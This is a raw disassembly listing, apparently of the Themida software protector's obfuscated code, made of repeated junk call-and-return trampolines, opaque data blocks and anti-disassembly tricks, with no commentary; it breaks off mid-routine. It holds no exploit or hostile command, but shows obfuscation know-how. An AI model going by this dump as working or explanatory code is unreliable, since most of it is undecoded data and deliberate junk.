sub_5B7BD1	proc near		; CODE XREF: Themida_:005B7BC9p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_5B7BD1	endp

; ---------------------------------------------------------------------------
		db 11h,	0C4h, 49h
; ---------------------------------------------------------------------------
		mov	esi, edi
		jmp	loc_5B89BD
; ---------------------------------------------------------------------------


loc_5B7BEB:				; CODE XREF: Themida_:005B8990j
		call	$+5
		pop	ebp
		sub	ebp, 618E1C1h
		push	0
		push	edx
		call	sub_5B7C02
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B7C02	proc near		; CODE XREF: Themida_:005B7BFAp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5B7C02	endp

; ---------------------------------------------------------------------------
		dec	ebp
		cmp	[edi+edx*4], bl
		db	64h
		cdq
		cdq
		sub	[ebp+6151775h],	ebx
		cmp	dword ptr [ebp+61508ADh], 7D0h
		jbe	loc_5B7D9A
		push	0
		push	esi
		call	sub_5B7C3A
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B7C3A	proc near		; CODE XREF: Themida_:005B7C32p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_5B7C3A	endp

; ---------------------------------------------------------------------------
		dw 0DC14h
		dd 81663425h, 8BF5E4DEh, 1504E19Dh, 0B1A1BF06h,	8B5265A3h
		dd 151D1DB5h, 0E3815E06h, 100h,	0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 0BDC35646h,	43D987C1h, 0AE9DDABh
		dd 90000000h, 0C7BB1366h, 0B0E3CEC8h, 0FDB0BA3h, 0AE85h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 4EEA6669h, 8BF6103Eh, 0EEBD83F3h, 618DFh
		dd 30840Fh, 0CE810000h,	57E32747h, 82E9h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
		dd 594C1094h, 9AD9589h,	85C70615h, 618DFEEh, 1,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 1BC35242h, 0F7182AE6h
		dd 2759BD8Bh, 0E9520615h, 0Bh, 0EB22C6F4h, 22EB0BDBh, 5FCF511Eh
		dd 2F81B58Bh, 10E90615h, 0C7000000h, 18DFEE85h,	6, 0C9B58900h
		dd 8D061509h, 1504E19Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 0C2D31900h, 6C6E34F8h
		dd 23819913h, 0FFFFFEFFh, 20F8EF81h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		push	ebx


loc_5B7D9A:				; CODE XREF: Themida_:005B7C29j
		mov	bx, ds
		mov	edi, 5565248Ah
		test	bl, 4
		jz	loc_5B7DD8
		push	0
		push	eax
		call	sub_5B7DB6
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B7DB6	proc near		; CODE XREF: Themida_:005B7DAEp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_5B7DB6	endp

; ---------------------------------------------------------------------------
		dw 0FFE2h
; ---------------------------------------------------------------------------
		xchg	eax, ebp
		mov	eax, ds:66061518h
		mov	esi, edx
		nop
		mov	si, 4A23h
		push	eax
		nop
		cld


loc_5B7DD8:				; CODE XREF: Themida_:005B7DA5j
		jmp	loc_5B81B7
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5B7DE8
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B7DE8	proc near		; CODE XREF: Themida_:005B7DE0p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5B7DE8	endp

; ---------------------------------------------------------------------------
		dd 362714Fh, 8C18098Dh,	31F84A48h, 153371BDh, 8900B006h
		dd 151D25B5h, 0F870E606h, 6A71E4h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 6483ECC3h, 8960D845h
		dd 1502BDBDh, 0F9BD8B06h, 61061511h, 6AD8B60Fh,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 9DBCC351h, 6BAh, 5E85000h, 0A000000h, 37651E4Eh, 0A41BE66h
		dd 0B58B5F5Eh, 6151661h, 0BD8BC38Bh, 61520F5h, 6A04E8C1h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 21BCC350h, 7B5528D2h, 5E8h, 0C321AF00h, 0BD8B95E0h
		dd 6152395h, 0E2F7665Eh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 14h, 19C35343h, 0B919589h,	0BD890615h, 6150C75h
		dd 8B66D82Bh, 0BF6693F1h, 0F50D5EDh, 2584h, 0FE800h, 72FE0000h
		dd 6C26F834h, 94039B8Bh, 0FB5A44D6h, 0AE835h, 54D20000h
		dd 66DEBA0Ch, 757BA001h, 6A935F5Fh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0D6F2C356h
		dd 372F1D9Ah, 0B92A2124h, 8ADB5FFh, 6A0615h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 7EE2A5C3h
		dd 0FC604434h, 17718D33h, 0FF610615h, 152E2195h, 0FBBF0F06h
		dd 70E600B0h, 8D2971E4h, 615005Dh, 830F613Ch, 227h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 7CC35040h, 0B60F2DF0h
		dd 6BAD8h, 8E80000h, 45000000h,	0CE87A01Dh, 0E882FAC0h
		dd 12h,	6DD12A89h, 45480D73h, 241E3F24h, 0C364B19Eh, 5E517735h
		dd 0C38B5E5Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	6EC35747h, 8FE03DF1h, 54FDB0BDh, 0DF816681h, 0B5032F20h
		dd 61508C5h, 6A04E8C1h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 0BE67C353h,	153473F4h
		dd 0BE2F766h, 150589B5h, 58D82B06h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 90C35646h, 0BF0F7E87h, 0FD82BF7h
		dd 14E88h, 7B900h, 8B660000h, 0C183F2h,	3A7694BFh, 0FD93B1Eh
		dd 13686h, 0FABE6600h, 0D98C66D7h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 5EC35040h, 0EF4A5B7Bh, 8BED99A0h
		dd 152709B5h, 4C1F606h,	0F5840Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 0CC2AD2C3h
		dd 56ABFEE5h, 0A195FF5Eh, 6A061518h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 8166C355h
		dd 19D95DEEh, 6A5B77h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 0FC431CC3h, 0B50B199Eh, 6150341h
		dd 9E8h, 0D5DDBE00h, 0D8A3C5EFh, 0AE96620h, 0A8000000h
		dd 0F3F08240h, 571DD274h, 0C32B5E36h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 7C35040h, 8A8BBDC0h, 18BB6660h
		dd 558D3126h, 61061525h, 8343Dh, 2C860F00h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 5637C355h, 5EFEB70Fh, 0EE9h, 23C78100h, 8B04269Bh
		dd 0DD9589C0h
		db 19h,	15h, 6
; ---------------------------------------------------------------------------


loc_5B81B7:				; CODE XREF: Themida_:loc_5B7DD8j
		mov	eax, ebx
		mov	ebx, eax
		push	ecx
		mov	si, 7459h
		pop	esi
		mov	dword ptr [ebp+6152871h], 77F7F117h
		push	0
		push	edx
		call	sub_5B81D6
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B81D6	proc near		; CODE XREF: Themida_:005B81CEp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5B81D6	endp

; ---------------------------------------------------------------------------
		dw 0C36Fh
; ---------------------------------------------------------------------------
		setalc
		mov	edi, [ebp+61517F1h]
		mov	[ebp+61520A5h],	ecx
		mov	eax, eax
		push	0
		push	edi
		call	sub_5B8202
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B8202	proc near		; CODE XREF: Themida_:005B81FAp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_5B8202	endp

; ---------------------------------------------------------------------------
		dw 3C89h
; ---------------------------------------------------------------------------
		or	edi, 43009680h
		cmp	dword ptr [ebp+61508ADh], 7D0h
		jnz	loc_5B8247
		mov	edi, [ebp+6150165h]
		inc	dword ptr [ebp+61508ADh]
		jmp	loc_5B8247
; ---------------------------------------------------------------------------
		inc	edi
		mov	bl, 5Fh
		jmp	short loc_5B8287
; ---------------------------------------------------------------------------
		db 78h,	6, 10h
		db 6Eh,	50h, 0A1h
; ---------------------------------------------------------------------------


loc_5B8247:				; CODE XREF: Themida_:005B8224j
					; Themida_:005B8236j
		push	dword ptr [ebp+61508ADh]
		mov	si, dx
		call	dword ptr [ebp+6152E21h]
		push	0
		push	esi
		call	sub_5B8261
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B8261	proc near		; CODE XREF: Themida_:005B8259p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5B8261	endp

; ---------------------------------------------------------------------------
		db 21h,	0F5h, 57h
		dd 6D97EB5Eh, 6A4090E9h, 3E85300h, 20000000h
; ---------------------------------------------------------------------------
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		pop	ebx


loc_5B8287:				; CODE XREF: Themida_:005B823Fj
		mov	[esp+4], ebx
		add	dword ptr [esp+4], 1Ch
		inc	ebx
		push	ebx
		retn
; ---------------------------------------------------------------------------
		dw 3425h
		dd 0A50AF185h, 0E87EFA84h, 11h,	0D2B84127h, 301120D9h
		dd 23B1979Fh, 15B4C4F6h, 0F9BF0F86h, 29BD835Fh,	6150Ah
		dd 0B2840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 5C4F28C3h, 591D7424h, 1E01BD83h
		dd 0F000615h, 8384h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 895177D4h, 1506C185h
		dd 85295F06h, 61503C5h,	0A2995FFh, 0BF660615h, 0C00B2B3Bh
		dd 46840Fh, 0FA8B0000h,	4F9E8D8Dh, 7E90615h, 58000000h
		dd 0D36532A6h, 5B8516Eh, 3000000h, 150D99B5h, 6AE1FF06h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 7C1DC355h, 0BD89C5E1h, 6151D41h, 17F5BD83h
		dd 0F000615h, 60984h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 8229B83Eh, 1BD837Fh, 6151Eh
		dd 5DC840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 5C5A07C3h, 2856741h, 0F38B1975h
		dd 7118D8Dh, 0BD290615h, 6152FC1h, 1C75F57h, 44B27C84h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 5C35646h
		dd 1985BD8Bh, 9D010615h, 6150AE9h, 0CFCB0181h, 89501499h
		dd 1502A9BDh, 0B58B5F06h, 615067Dh, 340441C7h, 0E8CE706Bh
		dd 7, 196C3AFh,	0E88D3670h, 5, 0D0F57096h, 21BD8BF1h, 5F061503h
		dd 441815Fh, 31D6D710h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 0E5C35747h, 810F9E8Eh, 1, 8B6656F9h
		dd 0BD895FF1h, 6150C51h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 0FD5F45C3h, 0B6660DF9h
		dd 5336C0BAh, 214DB501h, 8B5F0615h, 11858DFEh, 0F061507h
		dd 688h, 0B5B58900h, 9006152Ah,	50F78B66h, 786ABF60h, 38BB4E3Bh
		dd 61261FF2h, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 17049A77h, 48BBC66Fh, 0F18B6653h
		dd 17F595FFh, 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 757E85C3h, 0B18589ADh, 8D06152Ch
		dd 1507118Dh, 31BE6606h, 1C772h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0F9C355h
		dd 4E7DC405h, 0FAB70F8Fh, 441C7h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 1C3FC355h, 0EE92Ch, 0C4220000h, 0D211D220h, 1AFE7278h
		dd 8938D086h, 840FC00Bh, 50h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 0CBC35242h,	0BC8B0F35h, 0E309263Fh
		dd 9E8D8D55h, 0F06154Fh, 0C80h,	6820F00h, 89000000h, 152A3D9Dh
		dd 5B806h, 9D310000h, 61510A9h,	0B58BE1FFh, 615130Dh, 7118D8Dh
		dd 0A7BE0615h, 8B7EEE20h, 7C01C7F9h, 8B44AA72h,	152879BDh
		dd 0CB018106h, 531499CFh, 2CA1BD89h, 0E95E0615h, 0Ah, 0B1077759h
		dd 0E13C8EB3h, 41C7EB05h, 78753C04h, 50006ACEh,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 0AB4B84D4h
		dd 799797C5h, 8E896h, 689A0000h, 0B86936C4h, 0B5897A2Ah
		dd 6151159h, 441815Eh, 31D6D710h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 6AC35242h, 1CFE9CD0h, 0B79B4FBDh
		dd 8D006A11h, 15071185h, 8298BF06h, 0E9503F92h,	0Fh, 0F0048D14h
		dd 3FF10025h, 5C2CB905h, 894F4913h, 0B58B2404h,	6152AB5h
		dd 17F595FFh, 0F98B0615h, 7118D8Dh, 6A0615h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0FCFC37C3h
		dd 1C7h, 0F510000h, 48Ah, 61BE6600h, 41C75F54h,	4, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 3CDF60D6h, 0D318D640h, 0FC00B53h, 6084h, 9E8D8D00h
		dd 0BE06154Fh, 5D8F7A11h, 5B8h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 8817F742h
		dd 3D950907h, 2B06152Dh, 152615B5h, 6AE1FF06h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 8FAFC355h, 0E71EC012h, 118D8D89h, 6A061507h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 7C64C351h, 95B58B7Eh, 0C7061511h, 0CA95A501h, 56006A54h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 2570E691h, 0FE980h, 0D9460000h, 0DA6EBA3Ch, 77B5B91Ch
		dd 0CF13FA13h, 0CB0181CFh, 291499CFh, 152AC9BDh, 441C706h
		dd 0CE5F5969h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	0D6C35141h, 2C9CD08h, 2B3DBD8Bh, 8B0F0615h, 3
		dd 81F0B70Fh, 0D7100441h, 6A31D6h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 35DE3BC3h, 3B319EA4h
		dd 89006A2Ch, 1507ADB5h, 0D3BE6606h, 11858DE6h,	6A061507h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 0FC7EC352h, 3B888B8Bh, 9BE41B5h, 1511D9B5h
		dd 8B0F9006h, 0
; ---------------------------------------------------------------------------
		push	eax
		jmp	loc_5B88B6
; ---------------------------------------------------------------------------
		dw 5037h
		dd 689A5350h, 0B86936C4h, 52F57A2Ah
		db 0E6h, 33h
; ---------------------------------------------------------------------------


loc_5B88B6:				; CODE XREF: Themida_:005B88A1j
		nop
		push	0
		push	esi
		call	sub_5B88C2
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B88C2	proc near		; CODE XREF: Themida_:005B88BAp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_5B88C2	endp

; ---------------------------------------------------------------------------
		dw 0FBE9h
		dd 0BA3BEF2h, 6CCAC8B3h, 17F595FFh, 6A0615h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 65AADCC3h
		dd 118D8DDBh, 6A061507h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 5FCCC353h, 0BE66603Ah
		dd 8509ABDAh, 61528A5h,	1C761h,	8B000000h, 151E19B5h, 441C706h
		dd 0
; ---------------------------------------------------------------------------
		mov	di, cx
		or	eax, eax
		jz	loc_5B898E
		or	[ebp+6151365h],	edi
		lea	ecx, [ebp+6154F9Eh]
		mov	[ebp+61519B9h],	ebx
		mov	eax, 5
		jmp	ecx
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5B8973
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B8973	proc near		; CODE XREF: Themida_:005B896Bp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5B8973	endp

; ---------------------------------------------------------------------------
		db 6Dh
		dd 3656A724h, 0BF660C9Bh
; ---------------------------------------------------------------------------
		pop	eax
		push	es


loc_5B898E:				; CODE XREF: Themida_:005B8949j
		add	ecx, edx
		jmp	loc_5B7BEB
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5B89A0
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B89A0	proc near		; CODE XREF: Themida_:005B8998p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5B89A0	endp

; ---------------------------------------------------------------------------
		dd 0B08CE0C4h, 89DD55F2h
		db 95h,	0D5h, 18h
byte_5B89BB	db 15h			; DATA XREF: Themida_:0057AB0Co
; ---------------------------------------------------------------------------
		push	es


loc_5B89BD:				; CODE XREF: Themida_:005B7BE6j
		mov	eax, ecx
		push	0
		push	ebp
		call	sub_5B89CA
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B89CA	proc near		; CODE XREF: Themida_:005B89C2p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_5B89CA	endp

; ---------------------------------------------------------------------------
		dw 1E1Ch
		dd 703D816Bh, 0EB4EC1D2h, 0FE9h, 26BE100h, 0DAF1B56Bh
		dd 0FCD986D5h, 0D57EE54Ch, 4EBh, 4EBE0000h, 0F5AF3F1h
		dd 189h, 858DFC00h, 615279Dh, 1CB59D89h, 81660615h, 90FCE2EEh
		dd 5E8h, 4856B100h, 8B57DAE4h, 505F5EF2h, 0DCE78190h, 6A27F4A3h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 0F8529A13h, 0F1B70F5Eh, 0CE8006Ah, 31000000h
		dd 0E2495C22h, 67172CFAh, 29D1D48Bh, 151605B5h,	858D5E06h
		dd 618F140h, 1A29B58Bh,	0C0830615h, 0F6816605h,	0E890D80Eh
		dd 9, 356584FEh, 0AC5E479h, 0F525031h, 5A5E5331h, 0BF505F58h
		dd 4227AD0Bh, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 0B0BBB57h, 89496E3Bh, 151A6585h
		dd 3DBD3306h, 6A061502h, 0F98B6600h, 8D29006Ah,	6151945h
		dd 267995FFh, 81660615h, 8DD111E6h, 189C159Dh, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 0B58BABB1h, 6151175h, 6AD3FFh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 135090C3h, 0F82085FDh
		dd 0CD850150h, 5F061507h, 153585FFh, 6A0615h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 9B33DAC3h
		dd 25CD8C6Bh, 59BD8BDBh, 0E906152Ch, 882h

; =============== S U B	R O U T	I N E =======================================



sub_5B8B74	proc near		; DATA XREF: Themida_:0057A7A4o
					; Themida_:0057B494o

; FUNCTION CHUNK AT 005B8CFE SIZE 0000000E BYTES

		call	$+5
		pop	ebp
		sub	ebp, 618F14Ah
		mov	[ebp+6150D75h],	ebx
		cmp	dword ptr [ebp+61508ADh], 7D0h
		jbe	loc_5B8CFE
		push	0
		push	edx
		call	sub_5B8BA1
		and	[edx-3Dh], bl
sub_5B8B74	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5B8BA1	proc near		; CODE XREF: sub_5B8B74+25p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_5B8BA1	endp

; ---------------------------------------------------------------------------
		adc	eax, 108D9D8Bh
		adc	eax, 52006A06h
		call	sub_5B8BC3
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B8BC3	proc near		; CODE XREF: Themida_:005B8BBBp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_5B8BC3	endp

; ---------------------------------------------------------------------------
		scasb
		and	al, [ecx+100E3h]
		add	[edx+0], ch
		push	ecx
		call	sub_5B8BE6
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B8BE6	proc near		; CODE XREF: Themida_:005B8BDEp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_5B8BE6	endp

; ---------------------------------------------------------------------------
		dw 593Fh
		dd 0EB96DDD9h, 0DB0B1E8Fh, 94850Fh, 0BD8B0000h,	6152DF5h
		dd 0EFCBBD83h, 0F000618h, 1184h, 99B58B00h, 0E9061505h
		dd 0AAh, 21799501h, 85C70615h, 618EFCBh, 1, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 48C35646h, 31DCE0F4h
		dd 75E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 0BA7BFE5h, 880F18C7h, 1Ah, 0EE8h
		dd 265E9800h, 0B47E623Ah, 0CC9F5F17h, 89BE5DC8h, 15019D95h
		dd 85C75F06h, 618EFCBh,	0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5B8CAF
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B8CAF	proc near		; CODE XREF: Themida_:005B8CA7p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5B8CAF	endp

; ---------------------------------------------------------------------------
		cwde
		dec	ebx
		jmp	dword ptr [ebp-339CFFD9h]
; ---------------------------------------------------------------------------
		align 4
		jge	$+6
		lea	ebx, [ebp+615108Dh]
		push	0
		push	ecx
		call	sub_5B8CDF
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B8CDF	proc near		; CODE XREF: Themida_:005B8CD7p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5B8CDF	endp

; ---------------------------------------------------------------------------
		db 6Bh
; ---------------------------------------------------------------------------
		sbb	di, 632Bh
		and	dword ptr [ebx], 0FFFFFEFFh
		mov	si, cx
; START	OF FUNCTION CHUNK FOR sub_5B8B74


loc_5B8CFE:				; CODE XREF: sub_5B8B74+1Cj
		mov	bx, ds
		push	0
		push	ebx
		call	sub_5B8D0C
		and	[ebx-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_5B8B74

; =============== S U B	R O U T	I N E =======================================



sub_5B8D0C	proc near		; CODE XREF: sub_5B8B74+190p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5B8D0C	endp

; ---------------------------------------------------------------------------
		dd 40B8EF92h, 75329672h, 0F6F9DAC9h, 840F04C3h,	59h, 999B58Bh
		dd 95FF0615h, 61518A1h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 0F8C35747h, 31D1C6C5h, 820F50E4h, 0
; ---------------------------------------------------------------------------
		mov	[esp], eax
		push	0
		push	ecx
		call	sub_5B8D72
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B8D72	proc near		; CODE XREF: Themida_:005B8D6Ap

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5B8D72	endp

; ---------------------------------------------------------------------------
		scasd
		sub	esi, 30C735BEh
		jmp	loc_5B91C9
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5B8D99
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B8D99	proc near		; CODE XREF: Themida_:005B8D91p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_5B8D99	endp

; ---------------------------------------------------------------------------
		db 0E0h, 92h, 4Ah
; ---------------------------------------------------------------------------
		jmp	loc_5B8DBE
; ---------------------------------------------------------------------------
		db 5Fh,	76h, 0Ah
		dd 0CEB40704h, 3DE3B157h
		db 0EAh, 0F3h
; ---------------------------------------------------------------------------


loc_5B8DBE:				; CODE XREF: Themida_:005B8DACj
		mov	al, 0
		push	0
		push	eax
		call	sub_5B8DCB
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B8DCB	proc near		; CODE XREF: Themida_:005B8DC3p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5B8DCB	endp

; ---------------------------------------------------------------------------
		db 20h
		dd 8F0F8Fh, 0E6000000h,	68F0F70h, 81000000h, 0F7CDEDD7h
		dd 0F71E43Ah, 0B60FF2BFh, 52006AD8h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 5ADF4ECDh
		dd 10E9h, 0F6DB8800h, 0A0F35C0Ch, 3E312BBDh, 5AB64611h
		dd 7BBF6065h, 0E97DA4BFh, 9, 9736FA0Ch,	48DB8A0Eh, 6BA61F3h
		dd 0E9000000h, 13h, 22AA4322h, 18C1F4A7h, 52EFCCD4h, 41B4C048h
		dd 8960E70Fh, 151CEDB5h, 0FC38B06h, 8Ch, 4E8C100h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0F9C35545h, 565F9860h
		dd 8E8BD1Eh, 54000000h,	1699AB9Fh, 0FC15FB9h
		db 8Fh
dword_5B8EA1	dd 6							; Themida_:005D3141r ...
; ---------------------------------------------------------------------------
		mov	edi, [ebp+6150CFDh]
		pop	edi
		mul	dx
		mov	[ebp+615262Dh],	edx
		sub	ebx, eax
		xor	edi, [ebp+6150591h]
		push	eax
		pusha
		pusha
		jmp	loc_5B8ED1
; ---------------------------------------------------------------------------
		db 0B7h, 1Dh, 0AAh
		dd 0B24AC47Ch, 63C294CFh
; ---------------------------------------------------------------------------
		xchg	eax, esi


loc_5B8ED1:				; CODE XREF: Themida_:005B8EC0j
		mov	ebx, 49013E9Ah
		popa
		pusha
		mov	cx, ax
		mov	dh, 0D7h
		popa
		popa
		mov	[esp], ebx
		push	0
		push	edi
		call	sub_5B8EED
		and	[edi-3Dh], bl

